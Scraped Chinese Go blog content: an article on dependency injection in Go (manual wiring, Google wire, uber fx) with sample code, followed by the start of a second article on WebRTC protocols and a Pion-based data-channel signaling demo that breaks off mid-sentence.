dependency-injection-examples/manual/demo/business/business.go package business import ( \u0026quot;demo/database\u0026quot; ) // BusinessLogic interface type BusinessLogic interface { ProcessData() string } // Business struct type Business struct { db database.DatabaseAccess } // Constructor func NewBusiness(db database.DatabaseAccess) *Business { return \u0026amp;Business{db: db} } // Implement ProcessData() func (b Business) ProcessData() string { return \u0026quot;Business logic processed \u0026quot; + b.db.GetData() } // dependency-injection-examples/manual/demo/database/database.go package database // DatabaseAccess interface type DatabaseAccess interface { GetData() string } // Database struct type Database struct{} func NewDatabase() *Database { return \u0026amp;Database{} } // Implement GetData() func (db Database) GetData() string { return \u0026quot;Data from database\u0026quot; } service.Service是直面client的接口。于是在main函数中，我们实例化一个Service的实现并传给Client，后者调用Service的HandleRequest方法触发全流程。service.NewService的调用依赖一个实现了business.BusinessLogic接口的实例，我们在调用NewService之前还需要调用business.NewBusiness创建一个实现了business.BusinessLogic接口的实例；business.NewBusiness的调用依赖一个实现了database.DatabaseAccess接口的实例，我们在调用NewBusiness之前需要调用database.NewDatabase创建一个实现了database.DatabaseAccess接口的实例。\n这就是手工组装的现实：我们要记住“模块”间的依赖关系，并手动创建对应实例以满足这种依赖。下面是main函数的代码：\n// dependency-injection-examples/manual/demo/main.go package main import ( \u0026quot;demo/business\u0026quot; \u0026quot;demo/database\u0026quot; \u0026quot;demo/service\u0026quot; \u0026quot;fmt\u0026quot; ) // Client struct type Client struct { service service.Service } // Constructor func NewClient(service service.Service) *Client { return \u0026amp;Client{service: service} } // Call service func (c Client) MakeRequest() string { return \u0026quot;Client request: \u0026quot; + c.service.HandleRequest() } func main() { // make dependency injection manually db := database.NewDatabase() busi := business.NewBusiness(db) svc := service.NewService(busi) client := NewClient(svc) fmt.Println(client.MakeRequest()) } 编译运行上述示例的结果如下：\n$cd dependency-injection-examples/manual/demo $make $./demo Client request: Handled request: Business logic processed Data from database 这种为了满足依赖而进行的手工实例创建的行为，在一些小型或演示型程序中还可以自诩为straightforward，但在拥有上百个包的大型程序中，这种为了组装而进行的创建行为就会因多点发生、依赖众多而显现出“复杂性”和难于维护。为了保持代码的松耦合还要降低组装创建行为的复杂度，依赖注入工具被引入，并且往往代码库越庞大，引入DI的好处就越发明显。松耦合带来的好处并不总是立竿见影，但随着时间的推移，随着代码库复杂性的增加，这些好处就会变得显而易见。\n注：大家不要进入这样的误区：“采用依赖注入工具的代码就一定是符合DIP原则的松耦合的代码”。至少在Go中，不符合DIP原则的代码(比如没有建立接口抽象)也可以使用依赖注入工具来进行依赖的创建和模块间的组装。\nGo社区（尤其是一些大厂）提供了一些Go依赖注入工具，比如：Google wire、uber Fx、facebook inject等。这些工具大致可分为两类，一类是利用代码生成技术的编译期依赖注入，另一类则是利用反射技术的运行时依赖注入。\n下面我们分别以编译器依赖注入的Google wire和运行时依赖注入的uber fx为例来看看如何通过依赖注入工具来完成依赖模块的组装(assembly)。\n注：facebook的inject已经public archived；google wire目前的开发也不是很active，wire团队给出的理由是要保持wire足够简单并认为从v0.3.0开始，wire已经是功能特性完备的了，目前不接受新feature，仅接受bug报告和修复的补丁pr。只有uber的fx还处于非常积极的开发状态，uber宣称fx是经过uber生产验证的：uber几乎所有的Go服务都是建立在Fx基础之上的。\n2. google/wire：编译期的依赖注入 wire是由Google Go Cloud开发包团队于2018年下旬开源的Go编译期依赖注入工具，与uber fx、facebook的inject等使用反射在运行时注入不同的是，wire灵感来自Java的Dagger 2，使用的是代码生成技术，而不是反射或服务定位器(service locator)技术。\n相较于运行时依赖注入，编译期间注入的最大好处就是生成的依赖注入和组装的代码是对你可见的，没有任何背后的“魔法”。这便于在编译期捕捉到注入过程的错误，也便于代码的调试。\n此外，wire团队认为编译期注入可以避免依赖膨胀。Wire生成的代码只会导入所需的依赖项，因此，你的二进制文件不会有未使用的导入。运行时依赖项注入在运行时之前无法识别未使用的依赖项。\n下面我们就用wire注入来改造一下上面的示例。\n注：安装wire命令为go install github.com/google/wire/cmd/wire@latest 。\n相对于manual那个示例，我们在main包下面增加一个新文件wire.go：\n// dependency-injection-examples/wire/demo/wire.go //go:build wireinject // +build wireinject package main // wire.go import ( \u0026quot;demo/business\u0026quot; \u0026quot;demo/database\u0026quot; \u0026quot;demo/service\u0026quot; \u0026quot;github.com/google/wire\u0026quot; ) func InitializeService() service.Service { wire.Build(service.NewService, wire.Bind(new(service.Service), new(*service.ServiceImpl)), business.NewBusiness, wire.Bind(new(business.BusinessLogic), new(*business.Business)), database.NewDatabase, wire.Bind(new(database.DatabaseAccess), new(*database.Database)), ) return nil } 我们看到wire.go中提供了一个InitializeService函数，用于为main函数中的Client实例提供一个service.Service接口的具体实现。但是在这个函数中我们并没有像manual中那样手工调用NewService等来创建实例，我们仅仅是将各个“模块”Service、BussinessLogic以及DatabaseAccess的实例的创建函数传给了wire.Build函数。另外我们看到wire.go这个源文件使用了build tag，这个文件仅仅是用于代码生成，并不会参与到最终的代码编译过程中，这也是InitializeService函数的返回值随意设置为nil的原因，这个nil在代码生成过程中会被忽略并替换掉。\n注：为什么要使用wire.Bind？我们示例中的各个模块的NewXXX函数接受的参数都为接口类型，返回的都是具体的类型实例，这符合Go的惯例。但如果不使用wire.Bind，wire将无法知道NewXXX依赖的接口类型参数该如何创建！通过wire.Bind告诉wire某个接口类型参数，比如service.Service，可由创建如*service.ServiceImpl的类型替代。关于Binding Interfaces的具体介绍，可以参考wire官方文档。\n接下来，我们就可以通过wire命令生成代码，完成注入过程：\n$cd dependency-injection-examples/wire/demo $wire wire: demo: wrote /Users/tonybai/Go/src/github.com/bigwhite/experiments/dependency-injection-examples/wire/demo/wire_gen.go wire工具基于wire.go生成了wire_gen.go文件，在该示例中，wire_gen.go的内容如下：\n// Code generated by Wire. DO NOT EDIT. //go:generate go run github.com/google/wire/cmd/wire //go:build !wireinject // +build !wireinject package main import ( \u0026quot;demo/business\u0026quot; \u0026quot;demo/database\u0026quot; \u0026quot;demo/service\u0026quot; ) // Injectors from wire.go: func InitializeService() service.Service { databaseDatabase := database.NewDatabase() businessBusiness := business.NewBusiness(databaseDatabase) serviceImpl := service.NewService(businessBusiness) return serviceImpl } 看一下wire生成的代码，和我们在manual中手动组装的代码基本是一样的。基于这份代码，我们调整一下main函数，主要是去掉手动组装的过程，改为直接调用InitializeService：\n// dependency-injection-examples/wire/demo/main.go func main() { // make dependency injection by code generated by wire svc := InitializeService() client := NewClient(svc) fmt.Println(client.MakeRequest()) } 运行一下wire注入这个demo，其结果与manual demo是一致的：\n$cd dependency-injection-examples/wire/demo $make $./demo Client request: Handled request: Business logic processed Data from database 关于wire，这里仅是作了“浅尝辄止”的介绍。要想深入了解wire的功能特性，可以阅读Wire tutorial和Wire User Guide。\n接下来，我们再来看看如何使用uber/fx来实现依赖注入。\n3. uber/fx：运行时的依赖注入 如果我没记错的话，uber应该是先开源的dig，再有的fx。dig是基于反射的依赖注入工具包，而fx则是由dig支撑的依赖注入框架。对应普通Go开发者而言，直接使用fx就对了。\n下面是使用fx实现上面示例依赖注入的代码，我们只需要改造一下main.go：\n// dependency-injection-examples/fx/demo/main.go func main() { app := fx.New( fx.Provide( fx.Annotate( service.NewService, fx.As(new(service.Service)), ), ), fx.Provide( fx.Annotate( business.NewBusiness, fx.As(new(business.BusinessLogic)), ), ), fx.Provide( fx.Annotate( database.NewDatabase, fx.As(new(database.DatabaseAccess)), ), ), fx.Invoke(func(svc service.Service) { client := NewClient(svc) fmt.Println(client.MakeRequest()) }), fx.NopLogger, // no fx log output ) app.Run() } 我们在main函数中，使用fx.Provide注册了所有依赖类型的实例的构造方法(NewXXX)，然后将我们要执行的代码放入一个匿名函数，并传给fx.Invoke。当我们运行程序时，fx会在内存中构建对象调用依赖图，并使用Provide中注册的类型实例的构造方法构造实例，完成依赖注入和代码组装，然后运行传给Invoke的函数。\n在向fx.Provide传递NewXXX时，我们使用了fx.Annotate，其目的与在wire示例中使用wire.Bind一样，即将一个类型实例转换为接口类型，以满足参数为接口类型的NewXXX的依赖所需。关于fx.Annotate的详细说明，可参考fx的官方文档。\n上述使用fx示例还有两处要提及一下，一个是使用fx.NopLogger关闭fx框架自身的日志输出；另外一个则是上述示例run起来后并不会自动退出，只有当按下ctrl+c后，程序才会因收到系统退出信号而退出！\n对比fx和wire，你可能也发现了这样一点：fx将很多工作放到了“背后隐蔽处”，如果你不了解fx框架的运行机理，你很难使用好fx框架；而wire生成的代码就是编译到程序中的代码，没有额外的“魔法”。\n当然fx不仅提供了Provide、Annotate、Invoke，其他一些功能特性大家可以自行到官方文档阅读并理解使用。\n4. 小结 依赖注入常用来解决软件模块之间高度耦合的问题。传统的程序设计中，一个模块直接new或者静态调用另一个模块，这使得模块之间产生了强耦合。依赖注入将模块创建和注入的控制权移交给外部，由外部动态地将某个实现类实例注入到需要它的模块中。这样实现了模块之间的松耦合。\n如果你来自Java等面向对象编程语言的群体，你对依赖注入肯定不陌生。\n但是在Go社区，我觉得依赖注入并非惯用法。Go社区很多人崇尚“You often don’t need frameworks in Go”这样的信条。但凡引入一个框架，都会带来学习和理解上的额外负担，Go依赖注入框架亦是如此。\n究竟是否使用依赖注入，完全取决于你在开发过程中的权衡和取舍。\n如果你决定使用依赖注入，wire和fx都是你可选择的框架。就目前情况来看，fx是目前开发最active、历经生产考验最多的Go依赖注入框架，不过要想用好fx，必须深入理解fx的运行机制和底层原理，这又会带来一定的学习负担。\n本文涉及的Go源码，可以在这里下载。\n5. 参考资料 《Dependency Injection：Principles, Practices, and Patterns》 – https://book.douban.com/subject/30932387/ Compile-time Dependency Injection With Go Cloud’s Wire – https://go.dev/blog/wire Wire tutorial – https://github.com/google/wire/blob/main/_tutorial/README.md Wire User Guide – https://github.com/google/wire/blob/main/docs/guide.md Inversion of Control Containers and the Dependency Injection pattern – https://martinfowler.com/articles/injection.html “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2023年，Gopher部落将进一步聚焦于如何编写雅、地道、可读、可测试的Go代码，关注代码质量并深入理解Go核心技术，并继续加强与星友的互动。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2023/09/28/dependency-injection-with-go/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/dependency-injection-with-go-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2023/09/28/dependency-injection-with-go\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2023/09/28/dependency-injection-with-go\"\u003ehttps://tonybai.com/2023/09/28/dependency-injection-with-go\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e如果你读过\u003ca href=\"http://cleancoder.com/\"\u003eRobert C. Martin\u003c/a\u003e的\u003ca href=\"https://book.douban.com/subject/1140457/\"\u003e《敏捷软件开发：原则、模式与实践》\u003c/a\u003e(书的封皮见下图)，那么你一定知道经典的\u003ca href=\"http://cleancoder.com/files/solid.md\"\u003eSOLID设计原则\u003c/a\u003e中的“D”：依赖倒置原则（Dependency Inversion Principle, DIP）。\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 2\" loading=\"lazy\" src=\"/images/wp-content/uploads/dependency-injection-with-go-2.jpg\"\u003e\u003c/p\u003e\n\u003cp\u003e依赖倒置原则是面向对象设计中的基本原则之一，它阐述了高层模块和低层模块的依赖关系应该倒置(如下图)，也就是:\u003c/p\u003e","title":"聊聊Go与依赖注入"},{"content":"\n本文永久链接 – https://tonybai.com/2023/09/23/p2p-rtc-implementation-with-go-and-webrtc-data-channel\n关于实时通信(RTC，Real-Time Communication)，我和大多数人一样，是用的多(比如网络电话、音视频会议等)，但对RTC概念和其底层技术原理了解的却不多。近期，一项目恰用到了RTC技术，我就顺便翻阅了一些资料，并用Go建立了一个端到端数据通信的小demo，这里给大家分享一下。\n1. RTC与WebRTC 1.1 实时通信(Real-Time Communication) 实时通信（RTC）是实时发生的任何在线通信。生活中，最常见的采用实时通信方式的例子就是电话：一旦双方接通后，数据便直接从发送方即时发送到接收方，不会存储在前往目的地的途中。\n而传统的邮件以及互联网电子邮件则并非实时通信，因为在邮件/电邮的场景下，我们发送数据后，对方通常要等待一段时间才能收到数据，同时我们也需要等待一段时间才能收到回复。相信这个反例可以更好地帮助大家理解实时通信的特点。\n总结一下，实时通信具有以下特点(想象一下打电话的过程)：\n存在接通的过程 点对点(通常没有中间存储或处理节点) 传输低延迟 1.2 WebRTC技术的诞生 显然RTC技术是一种能给人们生活带来极大便捷的技术，尤其是在音视频实时传输方面，但很长时间以来，实时通信技术都十分复杂，还有专利门槛，将实时通信技术与业务结合既非常困难，又十分耗时，并且即便大力投入也未必能取得很好的效果，通常只有大厂才有这个能力实现稍完善的RTC方案和产品。\n此外，随着Web技术的兴起、移动互联网时代的到来、4G/5G和宽带技术的蓬勃发展，人们都迫切希望将实时通信技术与Web等技术融合在一起，通过浏览器或智能终端即可快速建立音视频的实时数据通信。\n于是2009年谷歌出手了！\n2009年，谷歌提出了创建WebRTC的概念，作为Adobe Flash以及无法在浏览器中运行的桌面应用程序的替代方案。 2010年，谷歌收购了大量提供RTC技术授权的公司。 2011年，谷歌开源了WebRTC项目。 2011年末，W3C发布第一个WebRTC规范草案。 2013年，谷歌和Mozilla展示了基于WebRTC的异构浏览器之间的视频通话。 2017年，WebRTC进入候选推荐标准（Candidate Recommendation，CR）阶段。 2021年初，WebRTC成为W3C正式推荐标准及IETF标准。 如今，WebRTC已经广泛用在了在线教育、电商直播、泛娱乐社交等应用领域。\n1.3 WebRTC简明介绍 WebRTC(Web Real-Time Communication)是一套开源的点对点实时通信技术，最初为Web打造，旨在让Web应用可以直接在浏览器中进行实时的音视频通信和数据交换，而无需安装第三方插件。WebRTC具体体现为一组开源协议、引擎和API。\n下面是W3C出品的WebRTC的技术栈的架构图(来自https://webrtc.github.io/webrtc-org/architecture/)：\n我们看到WebRTC还是蛮复杂的，涉及到多类API、会话/信令管理、音频编解码算法引擎、视频编解码算法引擎、包含多种协议的传输层以及底层音视频捕捉和渲染等。全面掌握WebRTC全技术栈是很困难的，好在上面的架构图将不同领域的开发者的关注点做了标记，大多数开发者关注WebRTC API和Web API即可。并且，随着WebRTC自身的演进，目前WebRTC已经不局限于浏览器，可以应用于其他各种应用程序。在Go社区，最知名的WebRTC类项目莫过于pion了，它提供了纯Go的WebRTC API实现，任何Go应用都可以使用pion的WebRTC API开发点对点实时通信应用。\n1.4 WebRTC相关的协议 WebRTC并没有全部另立炉灶从头建立很多新协议，而是复用了很多成熟的网络协议和应用协议，尤其是涉及数据传输的协议。下图是WebRTC中使用的一些重要协议分布图：\n图改自《WebRTC技术详解》一书\n很多协议大家都非常熟悉，比如HTTP、WebSocket、TLS、TCP、UDP等，但也有些协议是大家比较陌生的，如RTP/SRTP、SCTP等，针对这些陌生协议，我们下面简要介绍一下：\n1.4.1 RTP(Real-time Transport Protocol，实时传输协议)和SRTP(Secure RTP) RTP协议支持通过IP网络实时传输音频和视频。RTP常用于流媒体服务的通信系统，例如网络电话、视频电话会议等系统。RTP也是WebRTC使用的最重要的协议之一，在WebRTC中，RTP用于在WebRTC客户端(比如浏览器)之间传输音频和视频媒体(media)数据包。\nRTP是专为流媒体的端到端实时传输设计的，更关注信息的实时性，可以避免出现因网络传输丢失数据造成通话质量下降的情况。并且，如上图所示，RTP都是基于UDP构建的，并额外提供抖动补偿、包丢失检测和无序传递检测的功能。\n此外，RTP在传递媒体流时会为每个媒体流建立一个会话，即音频和视频流各自使用单独的RTP会话，这样接收端就能有选择性地接收媒体流(音频、视频或音视频)。\n基础的RTP没有内置任何安全机制，因此不能保证传输数据的安全性，这样端与端之间通信传输未加密的数据时，都有可能被第三方拦截并窃取。为此，WebRTC规范明确禁止使用未加密的RTP，而是使用安全增强后的SRTP(Secure RTP)。SRTP可以为单播和多播应用程序中的RTP数据提供加密、消息身份验证和完整性以及重放攻击保护等安全功能。\n注：对于非音频或视频数据，WebRTC不使用RTP，而是在通信的两端建立一个data channel用于交换任意格式的数据。\n1.4.2 SCTP(Stream Control Transmission Protocol，SCTP） WebRTC的端与端建立连接后，音视频数据的交互由RTP/SRTP协议完成，但非音视频数据，则由两端之间建立的数据通道(data channel)完成。数据通道支持传输字符串、文件、图片等数据。\n数据通道API的使用方式与WebSocket非常相似，但是WebSocket运行于TCP之上，而WebRTC数据通道的底层传输使用了DTLS/UDP，具有较高的安全性，上层则是使用SCTP，默认使用可靠且有序的方式进行数据传输。\nSCTP是在2000年由IETF的SIGTRAN工作组定义的一个传输层协议。它是面向连接、端到端、全双工、带有流量和拥塞控制的可靠传输协议，本来与TCP和UDP处于同一级别，可以直接运行在IP之上。只是在WebRTC中，它被用在了应用层。\nWebRTC充分利用了SCTP的面向消息(非tcp那样的面向流)的、带有拥塞控制算法的可靠传输机制，同时SCTP支持在一个传输通道中关联多个流的特性，这样每个流可以单独处理，甚至可以具有不同的可靠性属性。流与流之间不存在线头阻塞问题。流由流编号标识，可以在一定程度上提供多路复用功能，而无需开多个SCTP连接。\n1.4.3 SDP(Session Description Protocol, 会话描述协议) SDP是一种文本形式的会话描述协议，用于描述多媒体会话的参数。\nSDP是WebRTC端与端建立连接过程中必须要使用的协议。WebRTC使用SDP来描述对等连接的两端的媒体特征，包括会话属性、会话活动的时间、会话包含的媒体信息、媒体编/解码器、媒体地址和端口信息以及网络带宽的信息等。\n下面是SDP协议内容的一个典型例子(来自https://developer.mozilla.org/en-US/docs/Glossary/SDP)：\nv=0 o=alice 2890844526 2890844526 IN IP4 host.anywhere.com s= c=IN IP4 host.anywhere.com t=0 0 m=audio 49170 RTP/AVP 0 a=rtpmap:0 PCMU/8000 m=video 51372 RTP/AVP 31 a=rtpmap:31 H261/90000 m=video 53000 RTP/AVP 32 a=rtpmap:32 MPV/90000 WebRTC的两个端在使用RTP/SRTP传输音视频数据或使用SCTP传输data channel数据之前，需要先建立连接。建立连接的过程类似于传统电话从拨号、呼叫等待、到接通的过程。这个过程通常会有一个叫信令服务器(signaling server)的中间角色(好比文首配图的人工电话交换机)参与。而SDP在建连过程中起着重要作用，信令服务器会将两端的SDP转发给另一方，直到两端都拥有了自己和对方的会话描述信息(SDP承载)，并在媒体交换格式方面达成了一致，这是两端连接成功的前提。\n注：SDP不是WebRTC专属的，SDP在很多领域有广泛应用，最常见的就是即时通信(IM)领域。\n1.4.4 STUN、TURN和ICE 使用WebRTC进行实时通信的两端通常都位于防火墙或NAT之后的“内网”，只有很少部分主机能够拥有独立的公网IP而直接接入Internet。也就是说，尝试建立连接的双方由于位于NAT网络之中，不能直接使用内网IP地址建立网络连接。WebRTC于是使用“NAT穿透技术(俗称打洞)”来帮助两端建立连接。\nSTUN就是一种最常见的NAT穿透协议，其全称是“Simple Traversal of UDP Through NATs”，即简单的用UDP穿透NAT。STUN本质上是一种公网地址及端口的发现协议，客户端向STUN服务器发送请求，STUN服务器返回客户端的公网地址及NAT网络信息。这些信息用于构建在ICE打洞时的候选地址，并由信令服务器转发给另一端。\n不过STUN无法应对所有NAT网路情形，在对称NAT(映射的外网地址端口号不固定，会随着目的地址的变化而变化)情况下，WebRTC用户无法使用STUN协议建立P2P连接，这种情况就需要借助TURN协议提供的服务进行流量中转。\nTURN（Traversal Using Relays around NAT）是一种通过数据转发的方式穿透NAT的，解决了防火墙和对称NAT的问题。TURN支持UDP和TCP协议。\n注：使用STUN建立的是P2P的网络模型，网络连接直接建立在通信两端，没有中间服务器介入；而使用TURN建立的是流量中继的网络模型，用户两端都与TURN服务建立连接，用户的网络数据包通过TURN服务进行转发 — 《WebRTC技术详解》\n我们看到，TURN与STUN的共同点都是通过修改应用层中的私网地址达到NAT穿透的效果，不同点是TURN是通过两方通讯的“中间人”方式实现穿透。但TURN与其他中继控制协议也有不同，它能够允许一个客户端使用一个中继地址与多个对端连接。\nICE(Interactive Connectivity Establishment, 交互式连接建立)跟STUN和TURN不一样，ICE不是一种协议，而是一个框架（Framework），它整合了STUN和TURN，并利用STUN和TURN服务器来帮助两端建立起连接。\nWebRTC的一端通过ICE获得的每个网络信息都会被包装成一个ICE候选者(candidate)。ICE候选者描述了用于建立网络连接的网络信息，包含网络协议、IP地址、端口等。如果设备上有多个IP地址，那么每个IP地址都会对应一个候选。例如设备A上有内网IP地址IP-1，还有公网IP地址IP-2，A通过IP-1可以直接与B进行通信，但是WebRTC不会判断优先使用哪个IP地址，而是同样从两个IP地址收集候选，并将候选信息通过信令服务器转发给另一端。\nICE候选者有多种类型(以基于UDP传输为例)，包括host（本机候选）、srflx（映射候选）、relay（中继候选）和prflx（来自对称NAT的映射候选）。类型有优先级次序，其中host优先级最高，relay优先级最低。比如WebRTC收集到了两个候选者，一个是host类型，另一个是srflx类型，那么WebRTC一定会先尝试与host类型的Candidate建立连接，如果不成功，才会使用srflx类型的Candidate。\n当两端都得到自己和对方的ICE候选信息后，就会进行ICE候选配对，并最终选出一个用于建立端与端连接的ICE候选者对(pair)，最终两端将基于这个候选者对中的网络信息建立了P2P的连接。\n有了上面协议这层铺垫后，接下来我们再来看WebRTC建立连接的流程就容易多了。\n1.5 WebRTC的建连流程 下面是WebRTC的典型建连流程图：\n如图所示，WebRTC端到端建立连接的第一步是与信令服务器建立连接并交换SDP信息。\n信令服务器通常位于两端都能访问到的公网。当WebRTC一端启动后，它可能不知道要与谁通信，或者仅知道对方的极少的信息（比如一个ID），信令服务器可以帮助参与通信的两端解决这个问题。就像前面说的，你可以将信令服务器看作是电话人工交换机及其操作员，它可以帮助参与通信的两端找到彼此。WebRTC并未将信令服务器以及信令协议标准化，因为信令服务器是“业务相关”的，究竟是建立一对一连接，还是建立群聊，这些由信令服务器的业务来决定。承载信令的协议可以是普通的HTTP，也可以是WebSocket，亦可是像XMPP那样的专用信令协议。\n在WebRTC中，主动发起连接的一方会创建offer，并通过信令服务器将offer转发给另一方；另一方收到offer后会创建answer，并同样通过信令服务器转发给发起方。无论是offer，还是answer，都包含了各自的SDP信息。\n第二步，当交换SDP后，两端各自发起ICE过程，向STUN/TURN服务器发起请求，获取各自NAT后的公网信息，并形成ICE候选者。\n第三步，双方通过信令服务器交换ICE候选者信息\n当ICE候选者配对成功后，就来到了第四步，WebRTC两端直接建立连接。连接建立成功后，便可以进行数据传输交换了。\n2. WebRTC data channel 上面提到过，WebRTC除了提供了音视频媒体实时通信能力外，还支持可以传输非媒体流数据的数据通道(data channel)。\n和音视频数据一样，经由WebRTC数据通道进行的数据交换不经过服务器，不受服务器性能及带宽瓶颈的限制，同时减少了数据被拦截的概率。数据通道底层传输使用了DTLS，具有较高的安全性。上层使用SCTP，默认使用可靠且有序的方式进行数据传输。此外，data channel的建连过程与音视频的建连过程也是一致的。\n下面我们就来用一个实际的例子展示一下如何使用Go建立基于WebRTC data channel的端到端实时通信。\n3. 基于Go和Pion的WebRTC data channel应用示例 通过前面的介绍，我们知道了WebRTC技术栈十分复杂，日常WebRTC应用开发时，我们一般会基于开源的实现进行开发。Go语言在WebRTC开发领域也有比较成熟的开源项目，如Pion。Pion提供了纯Go实现的WebRTC API实现以及WebRTC相关组件实现，使用Pion可以帮助我们快速高效开发WebRTC服务器和客户端应用。\n3.1 pion: 纯Go的WebRTC实现 根据pion之父的说法，pion的诞生源于用WebRTC构建东西的挫败感，这种挫败感来源于Google开源的首个webrtc实现libwebrtc，因为将libwebrtc构建和运行起来似乎十分困难。\npion就是根据libwebrtc的教训而设计的，pion给开发者的第一印象就是它十分容易构建和运行起来。这一定程度要归功于pion是用Go编写的，更模块化，也更透明，并且pion之父最初便考虑了将其用在Chromium之外的应用中。\npion是一个纯粹的WebRTC软件的Go集合, 涵盖了WebRTC项目中需要的所有主要元素：\n同时，pion项目还为WebRTC开发者贡献了一本非常好的WebRTC资料《WebRTC For The Curious》，很值得一读。另外，pion项目的examples也十分丰富，非常利于初学者快速掌握WebRTC以及如何使用pion开发WebRTC应用。\n下面我们就基于pion的webrtc实现项目开发一个基于data channel的端到端实时通信示例。\n根据之前对WebRTC建立过程的说明，我们首先需要设计一下这个示例的信令服务器以及信令协议。\n3.2 信令服务与协议设计 信令服务器在WebRTC通信中扮演协调者的角色。它传递客户端的媒体参数和连接候选信息。\n我们的业务模型是，信令服务器维护一个被动连接的peer集合，这个集合中的peer是在这些peer在启动时通过register信令注册到信令服务器中的，每个peer有一个唯一的ID，我称这个集合为answer peer集合吧。主动连接方(这里称为offer peer)则通过ID去连接answer peer。一旦建立与某个peer的连接后，它们便可以通过建立的data channel全双工的实时通信了。下面是信令服务与offer peer和answer peer的信令交互图：\n参照前面提到的WebRTC建连过程，你可以很容易的看懂这个协议设计。\n这里我设计了一个Message抽象来表示信令服务可以收发的消息：\n//webrtc-data-channel/signaling/proto/proto.go type Message struct { Cmd int `json:\u0026quot;command\u0026quot;` Payload []byte `json:\u0026quot;payload\u0026quot;` // carry all kinds of request and response } 其中的Cmd字段标识Message类型，可选值如下：\n//webrtc-data-channel/signaling/proto/proto.go const ( // originated from answer peer CmdInit = iota + 1 CmdAnswer // originated from answer peer CmdOffer // from both peer CmdCandidate ) const ( CmdInitResp = iota + 101 // CmdInit + 100 CmdAnswerResp CmdOfferResp CmdCandidateResp ) Message既可以承载Request，亦可以承载Response。Message的Payload字段中存放的是Request或Response序列化后的结果。Request和Response结构如下：\n//webrtc-data-channel/signaling/proto/proto.go // Request is one kind of payload for Message type Request struct { SourceID string `json:\u0026quot;source\u0026quot;` TargetID string `json:\u0026quot;target\u0026quot;` Body []byte `json:\u0026quot;body\u0026quot;` // carry register, offer, answer, candidate } // Request is another payload for Message type Response struct { Code int `json:\u0026quot;code\u0026quot;` Msg string `json:\u0026quot;msg\u0026quot;` } Request类型的Body中存放的是WebRTC Offer/Answer的SDP以及ICE Candidate序列化后的结果。\n此外，在这个示例中，我们使用WebSocket来作为信令协议的载体，便于信令服务器与offer peer/answer peer进行双向通信。\n3.3 信令服务器的实现 按照上述设计，我们的信令服务器就是一个websocket的server：\n//webrtc-data-channel/signaling/main.go func main() { flag.Parse() log.SetFlags(log.Ldate | log.Ltime | log.Lmicroseconds) http.HandleFunc(\u0026quot;/register\u0026quot;, register) // for peerAnswer http.HandleFunc(\u0026quot;/offer\u0026quot;, offer) // for peerOffer log.Fatal(http.ListenAndServe(*addr, nil)) } 在这个server中我们提供了两个endpoint，一个是/register，供answer peer建立连接使用；另外一个是/offer，供offer peer与信令服务器建连并通信的。\n两个endpoint对应的Handler的处理模式也相对一致，都是进入一个event loop中。\n//webrtc-data-channel/signaling/main.go func register(w http.ResponseWriter, r *http.Request) { c, err := upgrader.Upgrade(w, r, nil) // *websocket.Conn if err != nil { log.Print(\u0026quot;signaling: websocket upgrade error:\u0026quot;, err) return } defer c.Close() err = answerPeerEventLoop(c, w) if err != nil { log.Println(\u0026quot;signaling: answerPeerEventLoop error:\u0026quot;, err) return } log.Println(\u0026quot;signaling: answerPeerEventLoop exit\u0026quot;) } func offer(w http.ResponseWriter, r *http.Request) { c, err := upgrader.Upgrade(w, r, nil) // *websocket.Conn if err != nil { log.Print(\u0026quot;signaling: websocket upgrade error:\u0026quot;, err) return } defer c.Close() err = offerPeerEventLoop(c, w) if err != nil { log.Println(\u0026quot;signaling: offerPeerEventLoop error:\u0026quot;, err) return } log.Println(\u0026quot;signaling: offerPeerEventLoop exit\u0026quot;) } 注：offer和register这两个Handler都会在单独的goroutine中执行。\nofferPeerEventLoop和answerPeerEventLoop的代码都比较长，这里就不贴出来了。这两个函数的代码也都比较模式化，基本处理流程就是读取一个Message，判断Message的Cmd类型，然后根据Cmd类型分别处理，处理的逻辑参见上面信令服务器的信令处理流程：基本上就是转发、转发、转发。\n3.4. answer peer的实现 answer peer启动后会建立RTCPeerConnection类型实例，并设置RTCPeerConnection实例的事件处理函数：\nOnICECandidate 本地收集到ICE候选者信息，处理动作是将这些ICE候选者信息通过信令服务转发到对端。\nOnConnectionStateChange 当与对端的连接状态发生变化时触发，比如连接建立、连接断开时。处理动作仅为输出相应的日志。\nOnDataChannel 当与对端的Data Channel创建成功时，处理逻辑是注册DataChannel.OnOpen和DataChannel.OnMessage两个事件处理函数。\n完成这些后，answer peer会向上面设计的那样，与信令服务器建立连接，并发送请求到信令服务的/register端点，然后进入event loop。在event loop中负责处理信令服务器转发过来的Offer、Candidate等信息，以及各种信令服务器返回的Response。\n当收到Offer时，answer peer会创建Answer并发给信令服务器；当收到Candidate时，会调用AddICECandidate将Candidate信息添加到peerConnection中，供后续配对使用。后续WebRTC连接自动建立后，便可以通过data channel收发数据了。\nanswer peer的代码较长，大家可以自行到https://github.com/bigwhite/experiments/tree/master/webrtc-data-channel/answer阅读。\n注：answer peer的代码改编自pion/webrtc项目的pion-to-pion/answer示例。\n3.5. offer peer的实现 offer peer的实现与answer相似。\noffer peer启动后会建立RTCPeerConnection类型实例，并设置RTCPeerConnection实例的事件处理函数：\nOnICECandidate OnConnectionStateChange DataChannel的OnOpen DataChannel的OnMessage offer 